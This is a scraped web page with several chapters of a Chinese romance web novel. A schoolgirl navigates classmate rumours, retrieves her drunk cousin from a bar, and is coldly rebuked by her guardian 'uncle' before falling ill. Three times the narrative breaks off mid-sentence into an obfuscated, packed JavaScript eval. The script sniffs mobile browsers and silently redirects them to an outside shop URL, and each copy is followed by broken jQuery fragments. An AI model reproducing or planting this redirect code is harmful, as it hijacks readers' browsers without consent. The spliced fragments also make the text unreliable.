估摸着是吃醉了酒,言语颇有些张狂,总之是定了见面的时间,甚至还主动点起了人名,多是住在娱乐热搜上的。
他勾了下嘴角,吐出一口烟来,将消息转给了贺亭午。
那边估计正在寻欢作乐,过了些时间才传回话来,说会给人好好准备,摆上一场鸿门宴。
胥淮风欲要将烟碾灭,俯身之时听见身后极轻的脚步声,便朝玻璃窗瞥了一眼。
只见原本应入睡的小姑娘站在薄纱窗帘后,纤细身架盈盈可握,似是一股青烟,快要随风吹走。
还是太瘦了。
“怎么不睡觉?”他倏而问道。
得知自己被发现,攸宁不大好意思:“我有点睡不着。”
失眠的理由有很多,认床、怕生、想事多,胥淮风向来浅眠,最是知道其中滋味。
有些事情勉强反而适得其反,索性拍了拍身边的藤椅:“过来坐坐吧。”
攸宁钻过窗帘坐了进来,身上披的还是那身校服。
这房是他当初读书时老爷子置办的,楼与楼之间相隔甚远,目光所及之处皆是绿竹,倒算是独坐幽篁里。
胥淮风道:“还在想学校的事情?”
攸宁先是点了点头,随后又摇了摇头,然后思虑了许久:“我只是突然想快一点长大。”
听到这话胥淮风难免怔了一下,想起她似乎是在见到杨欣然后才开始沉闷的,而后的话更是印证了这一点。
“刚才和你说话的人是杨峥的妹妹吗?”
那晚一袭酒红色长裙给人的印象着实太深,后来八角亭下仅闻其声不见其人的应当也是她。
而后攸宁听见:“嗯,她叫杨欣然,现在读大四,应该比你大上六岁左右。”
胥淮风免去了许多的细节,虽是有意而为,也是因着实记不清。
他知道这个年纪的孩子心思敏感细腻,很容易对新鲜的事物产生向往,从而追逐模仿。
“宁宁,就算有的人能从一个起点出发,到达的终点也会各有不同,比起按着所谓的标准快速成长,我倒是更希望你能享受当下。”
“你是独一无二的存在。”
这话讲完小姑娘眉眼间的阴霾散去了不少,胥淮风看了眼时间,发现已接近凌晨,便催促她去睡觉。
而攸宁磨磨蹭蹭,动作极慢,像个树懒。
直到十一点五十九分,跳转明年的那一刹,手机进了一条短信。
——小舅,祝你新年快乐呀!
胥淮风明白了,原来睡不着只是个借口。
此刻攸宁也发现了她早起编辑的定时短信忘记取消,正抓耳挠腮想要解释之时,却听见道:
“祝新年快乐,学业有成。”
—
元旦假期结束不久,学校进入了期末复习阶段。
各科老师争先恐后抢占课表,再也没有了音体美的位置,堆成山的练习册、做不完的作业以及千里江山一半红的卷子将人压得喘不过气来。
关于之前的纠纷攸宁已无暇顾及,直至某天在班主任的班会课上,年级主任在后面旁听,彭小萌当众站起来向她道歉,说手机已经在储物柜的夹层中找到,是自己没有保管好。
陈露露则再也没与攸宁搭过话,甚至她和周望尘分手的消息还是从同桌那里听来的。
“啊?我以为你早就知道了呢?”
“知道什么?”
同桌一脸震惊,趁着四周没人,像是特务接头一样告诉她:“他们都在传是你暗恋周望尘,故意把他俩早恋的事告诉了老师,害得都被叫了家长。”
攸宁皱了皱眉毛,不曾想作为“罪魁祸首”的她,竟是最后一个知道真相的。
一方面有点无奈,一方面轻松了起来。
胥怜月与周望尘的争吵,周望尘对她的敌意,以及陈露露态度的转变,这些日子遇到的困惑便迎刃而解了。
……
放学后在学校附近的车站见面,是攸宁几经思虑后主动发出的邀约。
她到达的时候郭垚正端着奶茶在等候,上次打架在眼角留下的淤青还没好完全,活似学校里那条黑白花的海盗猫。
“蜜瓜的和水蜜桃的你要哪个?”
攸宁选了蜜瓜的那杯,正逢游1路到站,他们一同上去坐到了后排。
观光公交经停站多,且往后线路渐出市区,基本没有学生乘坐,确切地说是没有人乘坐。
“你最近……”“你这几天……”
最终是郭垚先回答道:“没事儿,我好得很,陈露露可比我惨多了,少了一撮头发呢。”
攸宁吸了一口蜜瓜果肉上来,险些被呛到:“下次你可别这么冲动了,就算她秃了头,你不也变成了熊猫。”
说罢两人相视一笑,像是回到了初见。
“我有一件事想要和你说。”攸宁道。
郭垚先是极为惭愧地低下了脑袋:“对不起,那天离开医务室以后,是我把周望尘和陈露露早恋的事传了出去。”
“那时候我没想太多,没想到会让你替我背了锅,是我太胆小不知道怎么面对你,也不敢站出来承担。”
其实攸宁并不意外,她早就猜到了这些,也并没有责怪郭垚的意思。
趋利避害是人的本能,况且她后来还为她破了相。
只是有一点还需要确认:“你对周望尘是不是……”
郭垚没有丝毫的扭捏:“是的,我从高一就开始喜欢他了。自从我军训的时候中暑,他从操场经过把我背去了医务室,我就没有落过他每一次的篮球比赛。”
而陈露露则是自初中开始便和她交恶的死对头。
公交车随着少女心事倾诉至尾声一同到达了终点,又随着下一班返回的车次而启程。
“你知道喜欢一个人是什么感觉吗?”
“开心?高兴?”
“这只是很小的一部分。”郭垚摇了摇头,“你会总想要见到他,又怕他对你视而不见;会觉得患得患失,因为他的一句话开心一整天,又在看见他和别的女生说笑时难过;会时不时心慌气短,像跑了个八百米。”
郭垚滔滔不绝,攸宁想入非非,甚至都没注意到再次吸入的奶茶是水蜜桃味。
脑海中一个极为模糊的轮廓莫名浮现,瞧得不真切,只觉得被薄雾笼罩。
直至公交车再次开回学校附近的车站,郭垚拉着她从后门下车,几个男男女女从前门上车,恰好擦肩而过。
余光中攸宁总觉得有些眼熟,想要往后瞧,却被郭垚挡住了视线:“对了,你刚才想要说的事是什么?”
她的注意力又被拽了回来,只见葡萄大的眼睛眨了三眨。
“其实我也有一件事在瞒着你。”
攸宁靠近了郭垚的招风耳:“周望尘是我哥哥。”
下一秒,眼前的人爆发出土拨鼠尖叫。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698567|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
—
这些日子周家的伙食比先前丰盛了许多。
一是因家有学生临近期末需要补脑,二是因厨房已将南北烹饪技巧集大成于一身。
从前攸宁便在家中掌勺,如今则时常去给冯婶帮忙。
这是她自愿的,不仅能学习切磋一番,也算是忙里偷闲、自娱自乐。
“丫头,今儿个望尘不回来了,说是生日要和贺家老二出去过,咱少烧两个菜啊。”
今天是周望尘的十八岁生日,冯婶去市场采买了许多食材,但中午才得知周仕东有事回不来,结果到了晚上寿星也没了踪影。
攸宁原本要炒一道笋尖牛肉的,最终端到桌上的则是一盆紫菜蛋花汤。
老太太自己的饭量不大,却一个劲儿地往她碗里夹菜,直到都快冒了出来,胥怜月才提醒正在发呆的她:“是不是最近学习太刻苦,没有休息好,总感觉你不大精神。”
如今攸宁也学会了寒暄,赶紧扒拉了两口应付,说谢谢妗子关心。
胥怜月则已吩咐起旁的事:“冯婶,我前些日子在裁缝铺订了几件小孩衣服,你等会记得去拿一下,帮我和行李打包到一起。”
她明日出发要去津海陶家呆上些时日,表姐结婚多年肚子终于有了动静,说趁着办满月酒的机会请姐妹们聚聚。
晚饭结束后,何姨搀着老太太回房吃药,攸宁刚要跟过去,便被人撵了出来。
“瞧瞧你都熬成什么样了,赶紧回去休息吧,今天我接了你的活儿。”
老太太腿脚不好,每日卧床时间长,攸宁发现她身上硬得很,所以每日都会捏上半个小时,从不曾缺席。
但最近攸宁的确状态不佳,力不从心。
哪怕早早地睡下,也时常会被噩梦惊醒,再睁着眼坐到天亮。
那一张张熟悉又陌生的面孔,在一次又一次梦魇中将她逼入角落,扒掉她身上的衣服,扔进滚烫的油锅。
最后是恶狠狠的唾弃:你也配姓攸,配做阿嬷的孩子?!
……
“别碰我,别碰我!”
攸宁再一次从噩梦中醒来,发现自己蜷缩在被子里,全身上下被汗水浸透。
她掀开被子的一角,将头露出来后大口大口呼吸,才稍微有些缓解。
书桌上的台灯发出昏暗的光,四四方方的房间被照亮,衣架上的粉红色毛衣是那样鲜亮而具有生命力,将她瞬间拉回了现实世界。
攸宁坐了起来,她知道自己很难再入睡了,索性拿来书包准备背点什么。
但在寂静的夜里,再微弱的敲门声也变得格外清晰起来。
敲门的人似乎不想吵醒太多人,声音很迟缓,每隔几秒才会响一下。
攸宁想起刚才的噩梦,本不想去管它,但是隐约听到了摩托车发动机的声响。
她套上衣服,推开房门,发现院内灯光俱灭,人人都在沉睡之中。
最终在几番迟疑之后,隔着大门问道:“你是周望尘吗?”
“攸宁,你哥还没回来吗?”
声音十分熟悉,能叫出她的名字,并知道她和周望尘关系的人也并不多。
攸宁赶忙打开大门,只见停在眼前的是一辆重型机车,少年身姿高挑,只着一件机车服,仅用一手便架住了车身。
哪里似那个温润谦逊的贺家二少,她这才信当初那手臂算是该着他摔的。
“他没有回来,妗子说是和你一起去过生日了。”攸宁道。
贺承泽掀开头盔镜片,挑了挑眉,是一副些许不妙的表情。
12. 11
周望尘今天生日不假,约了贺承泽出去也不假。
事事都是真的,唯独主人公消失的无影无踪。
于是两人坐在一起对了下时间,发现周望尘是放学以后才不见的,并未到约定好的地点与贺承泽碰面。
攸宁问道:“你们原本要去做什么?”
贺承泽拍了拍胯.下的机车,她这才哑口无言。
“我给他打了好几个电话都没人接,实在放心不下,来看看他有没有回家。”
攸宁摇了摇头,知道周望尘最近状态不好,也有点担心了起来。
就在她起身想要回去喊人的时候,贺承泽从身后拽住了她,指了指刚刚拨通的电话。
攸宁接过手机听见了周望尘的说话声,像是喝醉了一样前言不搭后语,问了许久才说清在哪里。
贺承泽启动机车:“我现在去找他,你回去休息吧。”
正当他戴上头盔准备出发时,后座突然一沉,衣服一角被人扯住。
“不行,我要和你一起去。”
她声音干净清透,但又倔强执拗。
……
攸宁从未想过,会有人在十八岁的第一天就到这种地方来。
所以当摩托车在一家灯红酒绿的门店前停下时,她有些不可置信地揉了揉眼,总觉得是自己没有睡醒。
“攸宁,你在外面帮我看着车,千万别乱动。”
贺承泽再三叮嘱后便进了门,但被前台的人拦了下来,即便搬出了亲哥的大名,仍交涉了许久未果。
夜里的风很凉,扇去身上涔涔的汗,寒意一点一点爬了上来。
攸宁蹲坐在一处背风的街道,看见来来往往的人醉生梦死,突然发现这座城市是那样的变化多端。
而美好、光明的一面,似乎总是同一人带她领略。
攸宁轻轻叹了口气,拿出手机再次给周望尘拨了个电话,这回接通的很快。
“露露,我劝你识相点儿,赶紧给我回来…要不然,你会后悔的!老子一定会……”
尚未等她开口,对面便掐断了电话。
攸宁原本只是有些担心,现在则越想越后怕,总觉得这像是一句临终遗言,实在不能坐视不管。
索性便趁着贺承泽交涉的空隙,随在出入的客人身后钻了进去。
—
酒过三巡。
包厢内有人东倒西歪,有人依旧清明。
胥澄明倚红偎翠,不知被身旁人哄得灌下了第几杯酒,已然飘到了天上去。
“淮风,你还是经历的太少,平日没人约束着你,哪能懂得今日的滋味。”
软榻对面,胥淮风抬起眼眸,端起酒杯,仅浅酌了一口:“我自然比不得大哥日理万机,也无母无妻记挂着,若不是您和大伯照拂着,怕是早就寸步难行。”
他衣冠齐楚,翘腿而坐,即便在这样夜夜笙歌的场合,也无人近他的身畔。
不是她们不想攀这高枝儿,而是从未被他瞧过一眼,虽说有些遗憾,倒也不虚此行。
胥澄明哈哈大笑,显然信了这番恭维的话,被喂了几口酒后,扯了几张票子塞进女人的衣服里。
“那我就不扰大哥兴致了。”
话音落下,胥淮风将工程合同推了过去,胥澄明仅看了几眼,便拿起笔签了字。
这对他来讲的确是个只赚不亏的买卖,胥淮风看上的也不是眼前这点利益。
而是一个能撬开胥兆平肮脏面目的杠杆。
贺亭午的电话打来时,胥淮风刚从包厢出来,听见:“喝了多少,今晚要不就在我这住下吧?”
行近酒厅走廊,多是些蹦蹦跳跳的年轻人,声音开始变得嘈杂,画面也逐渐混乱起来。
胥淮风一句不用尚未出口,便在人群之中擒住一个背影。
粉红色毛衣着实显眼,原本的短发已经长到齐肩,瘦小的身躯穿梭其中,每每撞到别人便赶忙低头道歉。
……
攸宁在酒厅找到周望尘时,他正趴在一桌熟睡,脸颊又红又烫,怎么也叫不醒。
她心一横直接将人挎到了背上,却不小心打翻了隔壁桌的酒杯,酒水蔓延将毛衣浸得湿透,又黏又凉。
贺承泽并不知道攸宁溜了进去,看见她时先是愣了一下,随后赶忙上前接应。
“行啊你,什么时候进去的,我怎么没看见?”
“等一下。”
攸宁气喘吁吁地将人交接,顺手摸兜时心里一惊,发现手机竟不见了。
冷静下来后,她仔细回忆了一下,应当是遗落在了卡座上,便对贺承泽道:“你先带他出去吧,我落了一个东西,马上就回来。”
说罢,不等贺承泽言语,就又原路折返回去。
这回已然比刚才顺畅许多,在闪烁的霓虹灯光下绕过狂欢的人群,沿着墙壁摸索至先前的位子。
当看到手机安稳地躺在桌上,攸宁先是松了口气,却在目光移至于靠在卡座上的男人时一愣。
胥淮风坐得懈怠疏懒,指尖在桌上轻叩,灯光愈是绮璨,愈显得他神色淡漠。
他抬起眼皮,看向她时正逢舞池音乐骤停。
攸宁觉得心好似蜷曲了一下。
而后缓慢走到他面前:“小舅。”
—
贺亭午做的是一条龙生意,这酒吧上面是一处酒店,乘了电梯便能直接上去。
顶层的套间通常不对外开放,今日却被一人全包了下来,且遣散了所有的服务员。
胥淮风全程没有讲一句话,甚至步子都比平日快一些,以至于攸宁跟的有些吃力,但不敢主动同他说些什么。
直至进入一间靠里的套房,胥淮风才点起灯停了下来。
攸宁没有反应过来,差点撞到他的身上,随之肩膀被骨节分明的手抵住,撑开了些距离。
“衣服上弄的是什么?”胥淮风声音恻恻,裹着些凛冽的寒意。
她低头看了眼毛衣上的污渍,又瞧到他身上干净服帖的麂皮绒马甲,自动退了一步。
“应该不是水,也不是果汁。”
偏酒精气味太过明显,更显得她的心虚作态。
胥淮风眉头微皱,但没有再追问,而是径直将她带去了里卧的卫生间。
在离开时,他带上了两道门,留下了一句话:“攸宁,等会儿给我个合适的理由。”
……
听到门栓上锁的声音后,攸宁瘫坐在马桶盖上,双腿像是被抽走筋骨一般发软。
冷静了片刻才拿出了手机,立即打给了周望尘。
果不其然是贺承泽接的电话:“我怎么没看见你出来,是不是东西没找着?”
“你们先回去吧。”她小声道。
对面当然不肯,追问她发生了什么事,需不需要帮忙。
几番推拉过后,攸宁才如实道:“我在里面碰见了小舅,现在和他在一起,你先带着周望尘回去吧。”
不管怎样今天是周望尘的生日,虽说他借酒消愁的缘由与她毫无干系,却也做不到冷眼旁观。
贺承泽没有立即同意,似乎还想说些什么,但在停顿了片刻后答应了下来。
电话挂断,四周陷入静谧。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698568|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>攸宁走到盥洗台前,看着镜子里黏在身上的毛衣,嗅到了一股难闻的酒精味。
她脱下来尝试冲洗,却怎么也洗不掉污迹,而后在看到置物柜上提前预备好的毛巾和换洗衣服时,一阵愧疚、歉意涌上心头。
攸宁。这是他第一次完完整整地称呼她全名。
显然是不满的。
浴室洁净宽敞,浴缸里早就放好了温度合适的洗澡水,但她仅站在淋浴间冲洗了一下,迅速擦干换好衣服。
当攸宁站在唯一亮灯的起居室外,才发现门是从内反锁的。
正在她要伸手之时,胥淮风拉开门出现在眼前,这次没有说话,仅是睨了一眼便坐回了沙发。
不似以往随和地让她同坐,而是颇为冷峻地拉开了些距离。
攸宁端正站在厅堂中央,看着胥淮风含住一根烟,按动火机点燃,呼出浅淡的烟圈。
他先前从未当着她面点烟,如果恰巧碰见也会很快掐灭。
“小舅,对不起。”
攸宁走近了一些,态度十分诚恳:“我不该到这种地方来,不该辜负你的希望,还把衣服弄脏了,我以后会专心学习……”
她虽然隐瞒了许多,却是怀着真心的歉意说的这些。
她迟钝却不愚笨,知道谁是真的对自己好,不想让他失望,更不想辜负他的托举。
胥淮风喉结滚了滚,指间烟蒂猩红。
“我以为这一个小时至少够编一个自圆其说的由头。”
他落了落烟灰,不咸不淡地道:“既然这样,那我就来问问吧。”
“你怎么进来的,是谁把你带过来的,到这儿以后都做了什么?”
胥淮风的本意并不是为难,全都是很简单的问题,即使随便说些什么都能蒙混过关。
但很显然,她连说谎都不大会。
攸宁闭口不言,任由着湿漉漉的头发淌湿衣襟,盯着脚尖默不作声。
胥淮风今晚本就有些烦闷,见她这幅防备他的样子竟有些恼,起身径直走到了她面前:“攸宁,你没有必要怕我。”
攸宁迟钝了一下,以为状态缓和了,堪堪抬头看去。
然而等来的却是极为冷淡的言语:
“毕竟我只是你名义上的小舅,甚至没有血缘关系,管教的事本和我无关。”
攸宁知道他很高,也不止一次站在他身边,却是第一次有被居高临下的感觉:“既然不是我养育,也谈不上什么辜负,只要你无愧于自己,无愧于你在乎的人就好。”
这话说的十分客气,却也将她推得很远。
直至屋外有人敲了敲门,胥淮风掐断了正在燃的烟,离开之前仅叮嘱明早七点会送她回去。
—
贺亭午鲜少见胥淮风生气。
应当说他八风吹不动,端坐紫金莲,不料有生之年在个小姑娘这儿栽了跟头。
“你今儿个怎么回事,喝多了也不至于这样吧?”
胥淮风骂了一句,实际上他滴酒未沾,仅喝了点儿mocktail,不含酒精。
但贺亭午仍在打趣儿:“人家那么大姑娘,有点事不愿说不是太正常了吗,倒是你撂的那句多伤人。”
真不愿管就当看不见好了,又何必多此一举。
胥淮风沉了沉,没接他话茬:“现在难道不应该是你给我个交代吗?”
“成。”贺亭午应和着:“我明天就把门口这波人换了,摆几个彪形壮汉垒成墙。”
话落,气氛缓和了下来。
胥淮风想起什么,揉了揉眉心:“别忘了管好你那个弟弟。”
13. 12
次日六点,攸宁昏昏沉沉地从床上挣扎爬起,一觉醒来反而更疲惫,简单洗漱便用了不少时间。
换衣服时发现昨日的毛衣已没了污渍,甚至还留着烘干的暖意。
听见门铃作响,她前去开门,但来的人并不是胥淮风,而是提着早餐的刘秘。
“先生临时有事要忙,等吃了早点我送您回去吧。”
攸宁道了声谢谢,没有再问什么,用油条沾着咸豆腐脑下肚,将满腔的忧虑强吞了下去。
周末道路顺畅,刘秘开车很稳,一路同她闲聊,好似昨天的事从未发生过,仅是在胥淮风那儿借宿了一宿。
说话之余,攸宁频频出神,脑中时常闪过胥淮风敛目吸烟的样子,以及最后那两句淡漠的话。
他是不是失望了?会不会不再理她了?
想到这儿攸宁便有些后悔,如果早知道会是这样,她才不会去管周望尘的死活。
可她怪不了任何人,只能怪自己的放肆,在旁人施舍的好意中高估了自己。
回到周家宅院的时候将将七点半,胥怜月一早便乘车离开了,冯婶难得偷了次懒,现在才起来煮早餐,何姨正伺候老太太起床,周望尘的房门紧闭。
一切看起来同往日无异。
刚一进门攸宁便被冯婶逮住,但她长了一副老实相,无人会怀疑夜不归宿。
“丫头,你帮我去街上买一兜鸡蛋,要笨鸡蛋啊!”
冯婶是个说一不二的西北女人,嗓门很大,见不得旁人磨蹭扭捏:“诶,你呆着做什么呢,不想吃早饭了?”
许是也觉得有些奇怪,冯婶放下锅铲走了出来,把手伸到攸宁面前晃了晃。
她声音有些黏糊:“冯婶……今天是不是出了两个太阳啊。”
“这早上起来怎么就开始说胡话了。”
说罢冯婶摸了摸攸宁的脑袋,大冬天的额头比锅贴还烫手:“丫头,你怕不是烧糊涂了吧?”
……
攸宁身上忽冷忽热,体温上升下降的感觉好似晕车,仿佛回到了从岭南行至京州的那两千多公里的路。
冯婶平日对她苛刻,可到底还是处出了感情,扶她回房后给诊所打了电话。
不管从前发生了什么,不管周家夫妇态度如何,她是实打实的觉得这姑娘不错。
出诊大夫拿出体温计瞧了瞧,并没预料中的严重:“估计就是风寒引起的感冒发烧,不是什么大事,吃点退烧的感冒药就好了。”
别人说的轻描淡写,但身体是自己的,攸宁觉得眼皮愈来愈沉,钻进被窝后不知不觉就睡了过去。
再次醒来是因听见有人叫她,“宁宁”,她听的不真切,却甘愿这样误解。
“乖乖,等吃完药再睡吧。”
攸宁微微睁眼,眯出一条缝来,若隐若现间看到一人坐在床边,将沏开的退烧药喂到她的嘴边。
她下意识伸手去确认,回握住她的是一只松弛温暖的手。
周老太太抚着姑娘的脸颊,将发丝捋至耳后,她这才听清了称呼:“小婉。”
“不怕,这回妈会陪着你,直到你好起来,我们娘俩一起回去。”
攸宁转头看见了站在屋外的何姨,后者背过身去悄悄抹了抹泪,大概是触景生情。
她也觉得眼睛有些湿润,仿佛透过苍老的面容看到了母亲的样貌。
这是真真切切与她血脉相连的人。
攸宁不知道当初周望尘说的话有几分真假,但是确切地感受到了母爱,尽管这并不真正属于她。
所以这一声是发自内心的:“好哦,妈妈。”
—
或许是因思虑过重的缘故,原本不大的病硬是拖了几日没好利索。
直至周三,攸宁实在躺不住,拒绝了冯婶的劝说,执拗地去了学校。
桌上的卷子堆成了一座小山,夹着上周周测的成绩,可喜可贺终于进步了一点点。
期末课表排的比俄罗斯方块还要紧凑,各科老师一个个走场,再灵活的课堂也变成了填鸭式教育。
但也是在这样忙碌而又充实的生活中,攸宁渐渐忘却了那吞吐的烟圈,以及猩红的火焰。
午间下课铃打响后,同桌顺口问道:“我等会儿要去趟图书馆,你需要捎东西吗?”
攸宁掀开书包翻找,抽出了一本中外美术史来,今天是最后的还书期限。
“就这一本要还啊?”
她顿了一下,忽然变了想法:“你能帮我再借两个星期吗?”
攸宁下楼后看见正靠着一块文化碑等她去吃饭的郭垚,自从俩人在公交车上交过心后,关系便比以前更密切了些。
郭垚是土生土长的京州姑娘,性子大大咧咧,丝毫不忌讳别人听见什么:“你听说了吗,前几天陈露露把周望尘甩了,现在转头又和咱学校的校草谈上了。”
今日的午餐格外油腻,攸宁勉强塞了两口,就放下了筷子。
郭垚倒是两头都不耽误,一张嘴又能吃又能说,攸宁凑巧抬头看了一眼,见陈露露端着饭坐到了对面的桌,立即拉了拉郭垚的袖子。
郭垚立马反应了过来,但会错了意:“噢噢,你应该早就知道了吧,我都忘了你和周望尘是……”
“郭垚!”她不由自主提高了些声量,而后看见了那双水灵灵的大眼睛:“我有点不舒服,想回班休息一会儿。”
攸宁的确很难受,确切地说是从看见那本书时开始的。
胸闷、反胃。
然后觉得什么东西翻涌了上来,捂着嘴跑去了卫生间。
……
在郭垚的强制要求下,攸宁放弃了挣扎,被押送至办公室。
班主任正在午休,看这二人进来以为又闯了什么祸,听见是发烧这样的小事才松了口气。
“你坐在这儿等一下,我这就去打电话,让你家长接你回去。”
攸宁想起刘秘曾说胥淮风有事要忙,刚想拒绝却被郭垚压了下来:“一个破习什么时候不能学,就算多学一天你也多考不了几分,但能把你自己烤熟了。”
此刻班主任也拨出了电话,对面仅隔几秒便接通了,攸宁能隐约听见话筒漏出他干练利落的声音,“那就麻烦您了”。
一直到午休结束郭垚才回班上课,攸宁则在办公室老师的关怀备至下等来了“家长”。
只不过来的人并不是胥淮风。
杨峥敲了敲办公室的门,将头探了进来:“老师们好,请问攸宁在哪个班呐?”
“请问您是?”班主任愣了一下。
眼前的人脖挂小金链,墨镜倒着戴,若不是坐在角落里的攸宁出了一声,谁知这是个来接学生的家长。
“杨峥叔?”
“叫什么叔,叫哥。”
比起这身潮流打扮,更吸睛的是停在门口的跑车,即便在软红香尘的京州城里,这辆顶配的蓝色Porsche911
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698569|189085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仍是乍眼的存在。
杨峥是在半个多小时前接到的电话,让他帮忙去学校跑一趟,就趁机朝胥淮风又讨了一次这车,哪料这回一口答应了下来。
他自然是乐得自在,没注意到身旁小姑娘的无声失落。
“怎么样,我这身行头多给你长脸,以后遇到事儿你直接找我就行,想当年我的名号在你们学校也是响当当的呢!”
攸宁不声不响地扯过安全带,蔫头耷拉耳一动不动。
说着说着杨峥才察觉到无人回应,松了松油门:“你要晕车我就开慢点儿,你要想吐我就靠边儿停。”
攸宁摇摇头道:“我就是觉得有点闷,好像喘不上气。”
那退烧药好像并不管用,非但降不了温度,还让她的胸闷复发,甚至更严重了。
又或者说其实她……
杨峥的惊呼声打断了攸宁本就无序的思路:“不会是烧成肺炎了吧?你撑一下啊,咱马上就到医院了。”
说实在的,就算他是个十分滥情的人,也从没为哪个女孩连闯过几个红灯。
“妹妹你可千万得撑住啊,要不然等你小舅回来得拿这车碾死我。”
—
胥淮风的公司与设计院有合作项目,行程是一早订下的,离了酒店的当晚便飞去了海市出差。
接到学校电话的时候,他正在和对方负责人会餐,男人年过五旬却配了个二十出头的女助理。
“小米,再替我敬胥总一杯。”
胥淮风摆了摆手,瞥了一眼已经上脸的姑娘,撂下了刀叉:“我家里来了个电话,有点事需要处理一下,就先不做陪了。”
男人起身点头赔笑,一路将他送上车,临行前不忘询问下次合作的机会。
胥淮风简单应付了两句,关上车门便拨了电话给杨峥,让他到学校接上攸宁直接去医院,现在、立即、马上。
他这几日奔波没歇好,原想趁机小憩一下,却丝毫没有困意,频频去看手机。
直至进了电话,他看都没看就接了起来:“已经到医院了?”
“先生,房产过户的事已经办好了,请问钥匙需要入库吗?”
胥淮风想了想,让刘秘暂时收到他办公桌里,其余的事自己看着办。
这次他没有再等待,而是直接给杨峥打了过去,听见那边的机械叫号声,猜测已经到了医院。
杨峥的确刚从医生那儿出来:“你外甥女确诊了哈,得的病毒性感冒,现在已经打上点滴了。”
“最近得这病的学生挺多的,说是学习压力大、免疫力差。我的天哪,你知道这孩子书包有多沉吗,我拎着肱二头肌都要练出来了。”
杨峥一路絮絮叨叨,最后才意识到对面一直没声,以为是忙起来没有听见。
但胥淮风其实一直在听:“你能把电话给她吗。”
“恐怕不行。”杨峥朝病房瞧了一眼,“她已经睡着了,要不我给你拍张照片?”
电话挂断,很快传来了一张照片。
胥淮风双击放大,看着小姑娘正在熟睡,眉头紧锁,像是在梦里仍思考着数学难题。
一时哭笑不得,是因自己。
贺亭午说的没错,他本就是来收拾残局的,善事已经做得够多了,真不愿管就当看不见好了。
又何必在看见她为了两个同龄男孩,不惜把他推到对立面而生气。
本就不是真的家长,多此一举了。
14. 13
杨峥呆在医院陪床,游戏打得昏天黑地,以至于当攸宁背着书包站在他面前时,甚至恍惚了一下,看了眼日期才发现仅过了一天而已。
“我就纳闷了,学校里到底是埋着金子还是银子,我怎么不知道?”
他自然是不会知道的,对于她来说,那里埋的东西比金银还昂贵。
杨峥从来没见过这么倔的姑娘,让自己引以为豪的三寸不烂之舌败得溃不成军,但他搞不定的,自然有人能治得了。
一条短信足矣。
所以早在攸宁回到学校之前,班主任便开好了病假条,没等她进门就拦在了外面。
“就算你不对自己的身体负责,我也得替其他的同学们考虑,还是等你在家休息好了再来吧。”
于是就这样,攸宁被遣返回家养病。
但她并没有松懈下来,反而更加倍地努力。
因为只有她自己明白,来路不明的病毒并不是第二次发热的始作俑者,埋藏在心底的失落、自责才是。
她想要证明自己,为了这场文体不限的考试,交上一份满意的答卷。
自从暗自下定这个决心后,只要坐进这一桌一椅,纷扰的思绪再也无法影响她丝毫。
后来攸宁也作为优秀学生代表被母校召回演讲,问及她成长道路上最感谢的人是谁,她毫不犹豫地回答是自己,她感谢自己在最动荡的青春练就了一颗强大而热烈的心脏。
……
察觉到周望尘对她态度的转变,大致也是从这个时候开始。
最初是端进屋里的饭菜:“冯婶说了,你得和我们分开吃。”
可攸宁从没见过肉比菜多的病号餐。
后来是捎回家的卷子:“愿写你就多写点,带上我这份。”
可这明明是高二的期末冲刺卷。
最后带回家的变成了人:“是他自己非要来的,和我没关系啊。”
攸宁闻声打开窗子,看见贺承泽弯着腰站在池塘边戏鱼,正逢水光潋滟晴方好,他回头看见她时一笑。
“凉不凉?快把窗关上。”
周望尘站在池边踢了踢石头:“你丫的现在倒是惦记起来了。”
驮人去的时候不知道拦着点儿,害得他现在要还人情不说,酒醒后想起自己那副德行,肠子都要悔青了。
攸宁记得他一把鼻涕一把泪的模样,没忍住噗呲一笑,周望尘气急败坏一脚踢空,向后一仰差点坐进了水池子里。
冯婶出来晾衣服时正巧撞见这一幕,直捂着心脏喊祖宗,家里大人都不在,要是出了岔子可怎么交代。
攸宁背过身去忍俊不禁,甚至都没注意到门前什么时候站了人。
明明已经面对面,贺承泽还是敲了敲门:“你介意我进去看看吗?”
她口头上大方邀请,手上则急忙理了理杂乱的书桌。
攸宁的房间不大,甚至比他卧室的一半还要小,但是物品摆放井井有条,连柜顶的鞋盒都一尘不染。
同她的人一般恬淡干净。
“我的感冒基本好了,你要坐一会儿吗?”
攸宁拉开了椅子,没想到贺承泽就真的坐了下来,将腿收进了矮小的书桌里。
他瞧了眼桌上的物理试卷,最后一题的图快画成了靶子:“你对这个带电小球的受力分析有些乱。”
